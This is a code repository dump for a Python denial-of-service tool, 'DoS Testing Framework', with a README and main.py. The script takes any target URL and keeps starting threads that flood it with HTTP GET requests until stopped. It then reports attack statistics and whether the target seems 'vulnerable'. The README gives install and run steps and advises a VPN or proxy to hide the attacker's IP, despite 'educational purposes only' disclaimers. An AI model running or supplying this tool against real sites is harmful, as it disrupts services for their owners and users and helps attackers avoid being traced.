├── requirements.txt ├── banner.png ├── LICENSE ├── README.md └── main.py /requirements.txt: -------------------------------------------------------------------------------- 1 | 2 | requests 3 | rich 4 | -------------------------------------------------------------------------------- /banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wanzxploit/DoS/HEAD/banner.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Wanz Xploit 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # DoS Testing Framework 3 | 4 | ![Banner](banner.png) 5 | 6 | ![GitHub stars](https://img.shields.io/github/stars/wanzxploit/DoS?style=social) 7 | ![Version](https://img.shields.io/badge/version-1.0(Beta)-brightgreen) 8 | ![Python](https://img.shields.io/badge/python-3.7+-blue) 9 | ![Platform](https://img.shields.io/badge/platform-linux%20%7C%20termux-lightgrey) 10 | 11 | ## About the Project 12 | 13 | **DoS (Denial of Service)** is a framework designed for educational purposes to simulate a single-machine attack on a target's server. This tool sends continuous HTTP requests to overload the server's resources, potentially rendering it unresponsive. It is inspired by the concept of **DDoS (Distributed Denial of Service)** but operates with a single device. 14 | 15 | ### Key Differences Between DoS and DDoS 16 | 1. **DoS (Denial of Service):** 17 | - Attacks originate from a single source. 18 | - Easier to implement but limited in scalability and effectiveness. 19 | 20 | 2. **DDoS (Distributed Denial of Service):** 21 | - Uses multiple devices, often a botnet, to launch attacks from multiple locations. 22 | - Highly scalable and difficult to defend against. 23 | 24 | ### Can You Perform DDoS with Android? 25 | While Android devices can simulate **DoS attacks**, performing a true DDoS attack would require control over multiple devices (botnet). This framework is focused solely on **DoS simulation** and is not capable of managing distributed attacks. 26 | 27 | --- 28 | 29 | ## Features 30 | - **Real-Time Statistics:** Track total requests, success rate, failed connections, and more. 31 | - **Interactive UI:** Built with the `rich` library for better user experience. 32 | - **Flexible Speed Configuration:** Customize delay between requests. 33 | - **Target Vulnerability Analysis:** Evaluate if the target is susceptible to the attack. 34 | 35 | --- 36 | 37 | ## Installation Guide 38 | 39 | Follow the steps below to install and run the framework on Termux or Linux. 40 | 41 | ### 1. Update Your System 42 | ```bash 43 | # For Termux 44 | pkg update && pkg upgrade -y 45 | 46 | # For Linux (Debian/Ubuntu) 47 | sudo apt update && sudo apt upgrade -y 48 | ``` 49 | 50 | ### 2. Install Git and Python 51 | ```bash 52 | # For Termux 53 | pkg install git python -y 54 | 55 | # For Linux 56 | sudo apt install git -y 57 | sudo apt install python3 -y 58 | sudo apt install python3-pip -y 59 | ``` 60 | 61 | ### 3. Clone the Repository 62 | ```bash 63 | git clone https://github.com/wanzxploit/DoS 64 | cd DoS 65 | ``` 66 | 67 | ### 4. Install Dependencies 68 | ```bash 69 | pip install -r requirements.txt 70 | 71 | # Alternatif for userland 72 | python3 -m venv myenv 73 | source myenv/bin/activate 74 | pip install requests 75 | pip install rich 76 | ``` 77 | 78 | ### 5. Run the Tool 79 | ```bash 80 | python3 main.py 81 | ``` 82 | 83 | 84 | # Warning 85 | 86 | - **Use a VPN or Proxy** to hide your IP and avoid being blocked. 87 | - **Connect via WiFi**, not mobile data, to prevent excessive data usage. 88 | - **Use responsibly**. Only test on servers you have permission to avoid any legal issues. 89 | - **Respect Terms of Service**. Do not attack third-party services without consent. 90 | - **Ensure privacy** and protect sensitive data during testing. 91 | 92 | **Use this tool ethically and at your own risk.** 93 | 94 | 95 | ## Legal Disclaimer 96 | 97 | This project is intended for **educational purposes only**. Unauthorized use of this tool against systems you do not own or have explicit permission to test is **illegal** and could result in severe consequences. 98 | 99 | --- 100 | 101 | **Developed by Wanz Xploit** 102 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import threading 3 | import time 4 | from concurrent.futures import ThreadPoolExecutor 5 | import sys 6 | import os 7 | from rich.console import Console 8 | from rich.table import Table 9 | from rich.live import Live 10 | from rich.panel import Panel 11 | from rich.progress import Progress, SpinnerColumn, BarColumn, TextColumn, TimeRemainingColumn 12 | from rich.align import Align 13 | from rich.layout import Layout 14 | from rich.columns import Columns 15 | import signal 16 | 17 | console = Console() 18 | 19 | def clear_screen(): 20 | os.system('cls' if os.name == 'nt' else 'clear') 21 | 22 | def print_banner(): 23 | banner = """[bold red] 24 | 25 | ▒▒▒▒▒▒▒▒▄▄▄▄▄▄▄▄▒▒▒▒▒▒ [bright_yellow]╔══════════════════════════════╗[/] 26 | ▒▒█▒▒▒▄██████████▄▒▒▒▒ [bright_yellow]║[/] [bold cyan]DoS Testing Framework[/] [bright_yellow]║[/] 27 | ▒█▐▒▒▒████████████▒▒▒▒ [bright_yellow]║[/] [bold red]Created by Wanz Xploit[/] [bright_yellow]║[/] 28 | ▒▌▐▒▒██▄▀██████▀▄██▒▒▒ [bright_yellow]╚══════════════════════════════╝[/] 29 | ▐┼▐▒▒██▄▄▄▄██▄▄▄▄██▒▒▒ [bright_yellow][[/][bold red]WARNING[/][bright_yellow]][/] [bold white]Educational Purposes Only[/] 30 | ▐┼▐▒▒██████████████▒▒▒ [bright_yellow][[/][bold cyan]INFO[/][bright_yellow]][/] [bold white]Press Ctrl+C to Stop Attack[/] 31 | ▐▄▐████─▀▐▐▀█─█─▌▐██▄▒ [bright_yellow][[/][bold green]MODE[/][bright_yellow]][/] [bold white]Unlimited Threads | Auto-Timer[/] 32 | ▒▒█████──────────▐███▌ 33 | ▒▒█▀▀██▄█─▄───▐─▄███▀▒ 34 | ▒▒█▒▒███████▄██████▒▒▒ 35 | ▒▒▒▒▒██████████████▒▒▒ 36 | ▒▒▒▒▒█████████▐▌██▌▒▒▒ 37 | ▒▒▒▒▒▐▀▐▒▌▀█▀▒▐▒█▒▒▒▒▒ 38 | ▒▒▒▒▒▒▒▒▒▒▒▐▒▒▒▒▌▒▒▒▒▒ 39 | ⠀⠀⠀⠀⠀⠀[/]""" 40 | console.print(Align.center(banner)) 41 | 42 | class Stats: 43 | def __init__(self): 44 | self.total_requests = 0 45 | self.successful_requests = 0 46 | self.timeouts = 0 47 | self.failed_connections = 0 48 | self.other_errors = 0 49 | self.total_time = 0 50 | self.start_time = time.time() 51 | self.active = True 52 | 53 | def format_number(num): 54 | return f"{num:,}" 55 | 56 | def send_request(url, thread_id, stats, progress): 57 | if not stats.active: 58 | return 59 | 60 | try: 61 | start_time = time.time() 62 | response = requests.get(url, timeout=1) 63 | end_time = time.time() 64 | response_time = end_time - start_time 65 | 66 | stats.total_requests += 1 67 | if response.status_code == 200: 68 | stats.successful_requests += 1 69 | 70 | stats.total_time += response_time 71 | status_panel = Panel( 72 | f"[bold white]Response:[/] [cyan]{response.status_code}[/]\n[bold white]Time:[/] [blue]{response_time:.3f}s[/]", 73 | title=f"[bold green]Thread #{thread_id:03d}[/]", 74 | border_style="bright_yellow", 75 | padding=(0, 1) 76 | ) 77 | progress.console.print(status_panel) 78 | 79 | except requests.exceptions.Timeout: 80 | stats.timeouts += 1 81 | error_panel = Panel( 82 | "[bold yellow]REQUEST TIMEOUT[/]", 83 | title=f"[bold red]Thread #{thread_id:03d}[/]", 84 | border_style="red", 85 | padding=(0, 1) 86 | ) 87 | progress.console.print(error_panel) 88 | except requests.exceptions.ConnectionError: 89 | stats.failed_connections += 1 90 | error_panel = Panel( 91 | "[bold red]CONNECTION FAILED[/]", 92 | title=f"[bold red]Thread #{thread_id:03d}[/]", 93 | border_style="red", 94 | padding=(0, 1) 95 | ) 96 | progress.console.print(error_panel) 97 | except Exception as e: 98 | stats.other_errors += 1 99 | error_panel = Panel( 100 | f"[bold red]ERROR: {str(e)}[/]", 101 | title=f"[bold red]Thread #{thread_id:03d}[/]", 102 | border_style="red", 103 | padding=(0, 1) 104 | ) 105 | progress.console.print(error_panel) 106 | 107 | def create_results_display(stats): 108 | main_stats = Table.grid(padding=1) 109 | main_stats.add_column(style="bright_yellow", justify="right") 110 | main_stats.add_column(style="bold white") 111 | 112 | main_stats.add_row("Total Requests:", format_number(stats.total_requests)) 113 | main_stats.add_row("Successful:", f"[bold green]{format_number(stats.successful_requests)}[/]") 114 | main_stats.add_row("Failed:", f"[bold red]{format_number(stats.failed_connections)}[/]") 115 | main_stats.add_row("Timeouts:", f"[bold yellow]{format_number(stats.timeouts)}[/]") 116 | main_stats.add_row("Other Errors:", f"[bold red]{format_number(stats.other_errors)}[/]") 117 | 118 | elapsed = time.time() - stats.start_time 119 | rps = stats.total_requests / elapsed if elapsed > 0 else 0 120 | success_rate = (stats.successful_requests / stats.total_requests * 100) if stats.total_requests > 0 else 0 121 | avg_response = (stats.total_time / stats.total_requests) if stats.total_requests > 0 else 0 122 | 123 | perf_stats = Table.grid(padding=1) 124 | perf_stats.add_column(style="bright_yellow", justify="right") 125 | perf_stats.add_column(style="bold white") 126 | 127 | perf_stats.add_row("Requests/Second:", f"[bold cyan]{rps:.2f}[/]") 128 | perf_stats.add_row("Success Rate:", f"[bold green]{success_rate:.1f}%[/]") 129 | perf_stats.add_row("Avg Response:", f"[bold blue]{avg_response:.3f}s[/]") 130 | perf_stats.add_row("Total Time:", f"[bold magenta]{elapsed:.1f}s[/]") 131 | 132 | layout = Layout() 133 | layout.split_row( 134 | Panel( 135 | main_stats, 136 | title="[bold red]Attack Statistics[/]", 137 | border_style="bright_yellow", 138 | padding=(1, 2) 139 | ), 140 | Panel( 141 | perf_stats, 142 | title="[bold red]Performance Metrics[/]", 143 | border_style="bright_yellow", 144 | padding=(1, 2) 145 | ) 146 | ) 147 | 148 | return layout 149 | 150 | def signal_handler(signum, frame): 151 | raise KeyboardInterrupt 152 | 153 | def main(): 154 | clear_screen() 155 | print_banner() 156 | 157 | url = console.input("\n[bright_yellow][[/][bold white]TARGET[/][bright_yellow]][/] [bold cyan]Enter URL:[/] ") 158 | delay = console.input("[bright_yellow][[/][bold white]SPEED[/][bright_yellow]][/] [bold cyan]Enter delay (0.1-1 sec, default: 0.1):[/] ") 159 | 160 | try: 161 | delay = float(delay) 162 | if not (0.1 <= delay <= 1): 163 | delay = 0.1 164 | except ValueError: 165 | delay = 0.1 166 | 167 | clear_screen() 168 | print_banner() 169 | 170 | attack_config = f"""[bold white]Target[/] : {url} 171 | [bold white]Mode[/] : Unlimited Threads 172 | [bold white]Speed[/] : {delay}s delay""" 173 | 174 | console.print(Panel( 175 | attack_config, 176 | title="[bold red]Attack Configuration[/]", 177 | border_style="bright_yellow", 178 | padding=(1, 2) 179 | )) 180 | 181 | stats = Stats() 182 | signal.signal(signal.SIGINT, signal_handler) 183 | 184 | with Progress( 185 | SpinnerColumn(), 186 | TextColumn("[bold cyan]Running attack...[/]"), 187 | BarColumn(pulse_style="red"), 188 | TimeRemainingColumn(), 189 | console=console 190 | ) as progress: 191 | try: 192 | thread_id = 1 193 | while stats.active: 194 | thread = threading.Thread( 195 | target=send_request, 196 | args=(url, thread_id, stats, progress) 197 | ) 198 | thread.daemon = True 199 | thread.start() 200 | thread_id += 1 201 | time.sleep(delay) 202 | 203 | except KeyboardInterrupt: 204 | stats.active = False 205 | console.print("\n[bold yellow]⚠ Attack stopped by user[/]") 206 | finally: 207 | time.sleep(1) 208 | console.print("\n") 209 | console.print(create_results_display(stats)) 210 | 211 | if stats.total_requests > 0: 212 | vulnerability = "Target appears to be [bold green]vulnerable[/]!" if stats.successful_requests / stats.total_requests > 0.8 \ 213 | else "Target appears to be [bold yellow]resistant[/] to the attack." 214 | console.print(Panel( 215 | vulnerability, 216 | title="[bold red]Analysis Result[/]", 217 | border_style="bright_yellow", 218 | padding=(1, 2) 219 | )) 220 | 221 | if __name__ == "__main__": 222 | try: 223 | main() 224 | except Exception as e: 225 | console.print(f"\n[bold red]Fatal Error: {str(e)}[/]") 226 | sys.exit(1) 227 | --------------------------------------------------------------------------------